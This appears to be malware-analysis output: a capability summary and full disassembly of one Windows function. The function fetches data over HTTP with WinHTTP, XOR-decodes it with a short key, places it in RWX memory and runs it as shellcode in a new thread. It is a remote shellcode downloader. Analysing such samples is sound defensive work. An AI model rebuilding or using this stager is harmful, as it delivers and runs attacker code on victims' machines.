Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Spawn thread to rwx shellcode

Disassembly:
mov eax, 0x1864
call fcn.00408610
mov eax, dword [0x40d028]
xor eax, esp
mov dword [esp + 0x185c], eax
push ebx
push ebp
push esi
push edi
xor eax, eax
push 0x3fe
mov esi, ecx
push eax
lea ecx, [esp + 0x72]
push ecx
mov word [esp + 0x74], ax
call fcn.00402b90
push 0x1400
lea edx, [esp + 0x478]
push 0
push edx
call fcn.00402b90
push 0x38
lea eax, [esp + 0x48]
push 0
push eax
call fcn.00402b90
lea ecx, [esp + 0x148c]
mov dword [esp + 0x80], ecx
add esp, 0x24
lea ecx, [esp + 0x68]
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0x28]
push ecx
lea eax, [esp + 0xc6c]
mov dword [esp + 0x50], eax
push 0x80000000
lea edx, [esp + 0x470]
lea eax, [esp + 0x870]
mov dword [esp + 0x40], edx
mov dword [esp + 0x4c], eax
mov eax, 0x200
push 0
lea edx, [esp + 0x1074]
push esi
mov dword [esp + 0x38], 0x3c
mov dword [esp + 0x64], edx
mov dword [esp + 0x58], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x70], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
push 0
push edx
push ecx
push eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], 4
mov dword [esp + 0x34], 0
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov edx, dword [esp + 0x54]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push 0x100
push 0
push 0
push str.HTTP_1.1
push edx
mov edi, eax
push str.HEAD
push edi
call ebx
push 0
push 0
push 0
mov esi, eax
push 0
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 0
push 0
push esi
call ebp
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
push 0x20000005
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [esp + 0x54]
push 0x100
push 0
push 0
push str.HTTP_1.1
push eax
push 0x40bb0c
push edi
call ebx
push 0
push 0
push 0
push 0
push 0
mov esi, eax
push 0
push esi
call ebp
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push 0x400
xor ebp, ebp
call fcn.0040240c
mov ecx, dword [esp + 0x18]
push ecx
mov ebx, eax
call fcn.0040240c
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
add esp, 8
test eax, eax
jbe 0x401261
push 0x400
push 0
push ebx
call fcn.00402b90
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push 0x400
push ebx
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x401259
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x401259
push eax
mov eax, dword [esp + 0x1c]
add eax, ebp
push ebx
push eax
call fcn.00402c10
add esp, 0xc
add ebp, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp ebp, eax
jb 0x40120e
xor ecx, ecx
mov dword [esp + 0x10], eax
test eax, eax
jbe 0x401294
jmp 0x401270
xor edx, edx
mov eax, ecx
mov ebp, 3
div ebp
mov ebp, dword [esp + 0x18]
inc ecx
mov dl, byte [edx + 0x40bb14]
xor byte [ecx + ebp - 1], dl
cmp ecx, dword [esp + 0x10]
jb 0x401270
mov eax, dword [esp + 0x14]
push 0x40
push 0x1000
push eax
push 0
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x18]
mov ebp, eax
mov eax, dword [esp + 0x10]
push eax
push ecx
push ebp
call fcn.00402c10
add esp, 0xc
lea edx, [esp + 0x64]
push edx
push 0
push 0
push ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call fcn.004022b3
add esp, 4
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push edi
call esi
mov eax, dword [esp + 0x20]
push eax
call esi
mov ecx, dword [esp + 0x186c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402182
add esp, 0x1864
ret